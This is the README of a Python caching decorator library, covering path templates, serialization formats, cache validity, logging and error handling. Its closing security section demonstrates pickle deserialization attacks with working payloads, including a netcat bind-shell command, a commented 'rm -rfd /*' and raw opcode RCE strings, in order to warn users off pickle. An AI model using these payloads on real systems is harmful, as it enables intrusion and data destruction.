cache-decorator 2.2.0

a simple decorator to cache the results of computationally heavy functions

A simple decorator to cache the results of computationally heavy functions. The package automatically serialize and deserialize depending on the format of the save path.

By default it supports .json .json.gz .json.bz .json.lzma and .pkl .pkl.gz .pkl.bz .pkl.lzma .pkl.zip but other extensions can be used if the following packages are installed:

numpy: .npy .npz

pandas: .csv .csv.gz .csv.bz2 .csv.zip .csv.xz

Also there is an optimized format for numerical dataframes:

pandas: .embedding .embedding.gz .embedding.bz2 .embedding.xz

This creates an optionally compressed tar archive with pickles of the index and columns and a .npy of the values.

import time
import numpy as np
import pandas as pd
from cache_decorator import Cache

@Cache(
    cache_path={
        "info": "/tmp/{function_name}/{_hash}.json.xz",
        "data": "/tmp/{function_name}/{_hash}.csv.gz",
    },
    validity_duration="24d",
    args_to_ignore=("verbose",),
    enable_cache_arg_name="enable_cache",
)
def function_to_cache(seed: int, verbose: bool = True):
    np.random.seed(seed)
    if verbose:
        print(f"using seed {seed}")
    return {
        "info": {"timestamp": time.time(), "seed": seed,},
        "data": pd.DataFrame(
            np.random.randint(0, 100, size=(100, 4)), columns=list("ABCD")
        ),
    }

How do I install this package?

As usual, just download it using pip:

pip install cache_decorator

Examples of Usage

To cache a function or a method you just have to decorate it with the cache decorator.

from time import sleep
from cache_decorator import Cache
from dict_hash import Hashable

@Cache()
def x(a, b):
    sleep(3)
    return a + b

class A(Hashable):
    def __init__(self, x):
    self.x = x

    # you can call a method without args
    def my_method(self):
        return "|{}|".format(self.x)

    # you can call a static method
    @staticmethod
    def my_staticmethod():
        return "CIAO"

    # you can call a property
    @property
    def my_property(self):
        return "|{}|".format(self.x)

    # methods, static methods, and properties can return a custom formatter
    # that access attributes but can't call other methods
    def custom_formatter_method(self):
        return "{self.x:.4f}"

    @Cache(
        # this is a quick example of most things you can do in the formatting
        cache_path="/".join(
            "{cache_dir}",
            "{self.x}",
            "{self.my_method()}",
            "{self.my_staticmethod()}",
            "{self.my_property()}",
            "{self.custom_formatter_method()}",
            "{a}",
            "{b}_{_hash}.pkl",
        )
    )
    def f(self, a, b):
        sleep(3)
        return a + b

    # only needed if you want "{_hash}" in the path
    def consistent_hash(self) -> str:
        return str(self.x)

Cache path

The default cache directory is ./cache but this can be setted by passing the cache_dir parameter to the decorator or by setting the environment variable CACHE_DIR. In the case both are setted, the parameter folder has precedence over the environment one.

from time import sleep
from cache_decorator import Cache

@Cache(cache_dir="/tmp")
def x(a):
    sleep(3)
    return a

The path format can be modified by passing the cache_path parameter. This string will be formatted with infos about the function, its parameters and, if it’s a method, the self attributes.

De default path is:

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{_hash}.pkl")
def x(a):
    sleep(3)
    return a

But can be modified giving cache a more significative name, for example we can add the value of a into the file name.

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{a}_{_hash}.pkl")
def x(a):
    sleep(3)
    return a

Depending on the extension of the file, different serialization and deserialization dispatcher will be called.

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="/tmp/{_hash}.pkl.gz")
def x(a):
    sleep(3)
    return a

@Cache(cache_path="/tmp/{_hash}.json")
def x(a):
    sleep(3)
    return {"1":1,"2":2}

@Cache(cache_path="/tmp/{_hash}.npy")
def x(a):
    sleep(3)
    return np.array([1, 2, 3])

@Cache(cache_path="/tmp/{_hash}.npz")
def x(a):
    sleep(3)
    return np.array([1, 2, 3]), np.array([1, 2, 4])

Ignoring arguments when computing the hash

By default the cache is differentiate by the parameters passed to the function. One can specify which parameters should be ignored.

from time import sleep
from cache_decorator import Cache

@Cache(args_to_ignore=["verbose"])
def x(a, verbose=False):
    sleep(3)
    if verbose:
        print("HEY")
    return a

Multiple arguments can be specified as a list of strings with the name of the arguments to ignore.

from time import sleep
from cache_decorator import Cache

@Cache(args_to_ignore=["verbose", "multiprocessing"])
def x(a, verbose=False, multiprocessing=False):
    sleep(3)
    if verbose:
        print("HEY")
    return a

Dynamically enabling the cache

Sometime we need to enable or disable the cache dinamically, we soupport this using the enable_cache_arg_name argument which can be used as follows:

import time
import numpy as np
import pandas as pd
from cache_decorator import Cache

# simple boolean argument

@Cache(
    enable_cache_arg_name="enable_cache",
)
def function_to_cache(seed: int):
    np.random.seed(seed)
    return {"seed":seed}

# Cache enabled
function_to_cache(10)
# Cache enabled
function_to_cache(10, enable_cache=True)
# Cache disabled
function_to_cache(10, enable_cache=False)

class TestEnableCacheArgAsAttribute:
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.enable_cache",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttribute(enable_cache=True)
# with cache enabled
instance.cached_method(1)
# disable the cache
instance.enable_cache = False
instance.cached_method(1)


class TestEnableCacheArgAsAttributeProperty:
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @property
    def is_cache_enabled(self):
        return self.enable_cache

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.is_cache_enabled()",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttribute(enable_cache=True)
# with cache enabled
instance.cached_method(1)
# disable the cache
instance.enable_cache = False
instance.cached_method(1)

class TestEnableCacheArgAsAttributeStatic:
    """This can be used for abstract classes"""
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @staticmethod
    def is_cache_enabled():
        return True

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.is_cache_enabled()",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttributeStatic(enable_cache=True)
instance.cached_method(1)

for more examples of usage check the tests: test/test_method.py and test/test_enable_cache_arg_name.py.

Cache validity

Cache also might have a validity duration.

from time import sleep
from cache_decorator import Cache

@Cache(
    cache_path="/tmp/{_hash}.pkl.gz",
    validity_duration="24d"
    )
def x(a):
    sleep(3)
    return a

In this example the cache will be valid for the next 24 days. and on the 25th day the cache will be rebuilt. The duration can be written as a time in seconds or as a string with unit. The units can be “s” seconds, “m” minutes, “h” hours, “d” days, “w” weeks.

Logging

Each time a new function is decorated with this decorator, a new logger is created. You can modify the default logger with log_level and log_format.

from time import sleep
from cache_decorator import Cache

@Cache(log_level="debug")
def x(a):
    sleep(3)
    return a

If the default format is not like you like it you can change it with:

from time import sleep
from cache_decorator import Cache

@Cache(log_format="%(asctime)-15s[%(levelname)s]: %(message)s")
def x(a):
    sleep(3)
    return a

More informations about the formatting can be found here https://docs.python.org/3/library/logging.html .

Moreover, the name of the default logger is:

logging.getLogger("cache." + function.__name__)

So we can get the reference to the logger and fully customize it:

import logging
from cache_decorator import Cache

@Cache()
def test_function(x):
    return 2 * x

# Get the logger
logger = logging.getLogger("cache.test_function")
logger.setLevel(logging.DEBUG)

# Make it log to a file
handler = logging.FileHandler("cache.log")
logger.addHandler(handler)

Error Handling

A common problem we noted using the library is that if the saved type is not compatible with the chosen extension, the program will raise an exception at the end of the function and we lose all the work done. To mitigate this proble, now the cache decorator has a built-in system for handling errors. If there is an error in the serializzation of the result, the program will make an automatic backup using pickle. This by default will add _backup.pkl to the end of the original path, but if for any reason this would over-write a file, a random string will be appended. And log (with critical level) the path of the backup file and the supposed path where the

Suppose we erroneusly set the extension to CSV instead of JSON:

from cache_decorator import Cache

@Cache("./test_{x}.csv")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10)
# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:
# ./test_10.csv_backup.pkl
# The file was gonna be written at:
# ./test_10.csv

Now we can manually load the value and store it at the correct path, this way the next time the function is called, the cache will be loaded correctly with the right extension.

import json
import pickle

# Load the backup
with open("./test_10.csv_backup.pkl", "rb") as f:
    result = pickle.load(f)

# Save it at the right path
with open("./test_10.json", "w") as f:
    json.dump(f, result)

from cache_decorator import Cache

@Cache("./test_{x}.json")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10) # Load the corrected Cache at "./test_10.json"

Optionally, one can programmatically sort this out by catching the exception and accessing its fields.

from cache_decorator import Cache

@Cache("./test.csv")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

try:
    test_function(10, y="ciao")
except SerializationException as e:
    result = e.result
    backup_path = e.backup_path
    path = e.path

Moreover, the backup path can be costumized using the backup_path parameter, here you can use the same parameter of path and also {_date}, which is the date of the bakcup, and {_rnd} which guarantees that the file will not overwrite any other file:

from cache_decorator import Cache

@Cache("./test.csv", backup_path="./backup_{date}_{rnd}.pkl")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10, y="ciao")

# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:
# ./backup_2021_02_22_13_22_07_18ce30b003e14d16d5e0f749e8205e467aedfbba.pkl
# The file was gonna be written at:
# ./test.csv

Internals

If for any reason you need to get a reference to the wrapped function and its cacher class, you can access them using the internal variables:

from cache_decorator import Cache

@Cache()
def test_function(x, y):
    return 2 * x

original_test_function = test_function.__cached_function
test_function_cacher_class = test_function.__cacher_instance

We do not suggest to use them.

Manual Caching

If for some reason you need to manually manage your cache, you can use the built in static methods of the Cache class. It will automatically create the needed folders. Moreover, you can get the expected path for a function call.

from cache_decorator import Cache

# you can use the Cache class functions to load and store data easily
# but here you can't use a path formatter but you have to pass a complete path.

# Store
Cache.store({1:2, 3:4}, "./my_custom_cache/best_dict_ever.json)

# Load
best_dict = Cache.load("./my_custom_cache/best_dict_ever.json)

# This would not format anything!
# Cache.store({1:2, 3:4}, "./my_custom_cache/{_hash}.json)
# this would save a file called literally called "{_hash}.json"

@Cache()
def test_function(x, y):
    return 2 * x


# you can get the path where the file would be saved (this does not call the function!).
path = Cache.compute_path(test_function, 10, y="ciao")

Security Warnings

Whenever possible don’t use the pickle extension. De-serializzation of untrusted data might lead to Remote Code Execution or Local Privilege Escalation ( https://davidhamann.de/2020/04/05/exploiting-python-pickle/ ). Therefore, simple formats such as json is preferable whenever possible.

Suppose we have this code:

from cache_decorator import Cache

@Cache("./cache/{x}.pkl)
def my_awesome_function(x):
    return x

...

my_awesome_function(1)

If in any way we have access to the cache folder, we can easily exploit it:

import pickle

COMMAND = "netcat -c '/bin/bash -i' -l -p 4444" # rm -rfd /*

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

payload = pickle.dumps(PickleRce())
print(payload)
# b"\x80\x04\x95>\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c#netcat -c '/bin/bash -i' -l -p 4444\x94\x85\x94R\x94."

with open("./cache/1.pkl", "wb") as f:
    f.write(payload)

Next time that the function is called with argument 1, we will spawn a remote shell and take control of the system.

Or, since Pickle is a “programming language” which is executed by a VM, we can write a general RCE exploit which only uses builtins:

import pickle

# Build the exploit
command = b"""cat flag.txt"""
x = b"c__builtin__\ngetattr\nc__builtin__\n__import__\nS'os'\n\x85RS'system'\n\x86RS'%s'\n\x85R."%command

# Test it
pickle.load(x)

Or you can just call eval and execute arbitrary python code:

import pickle

code = "print('ciao')"

pickle.loads(b"".join([
    b"c__builtin__\neval\n(",
    pickle.dumps(code, protocol=0)[:-1],
    b"tR."
]))

For this reason is important to either use a simpler serializzation scheme like json and to fortify the system by setting the cache dir to be read-write only for the current user.

chown -r $USER:$USER ./cache
chmod -r 600 ./cache

This way only the current application can create and modify the cache files.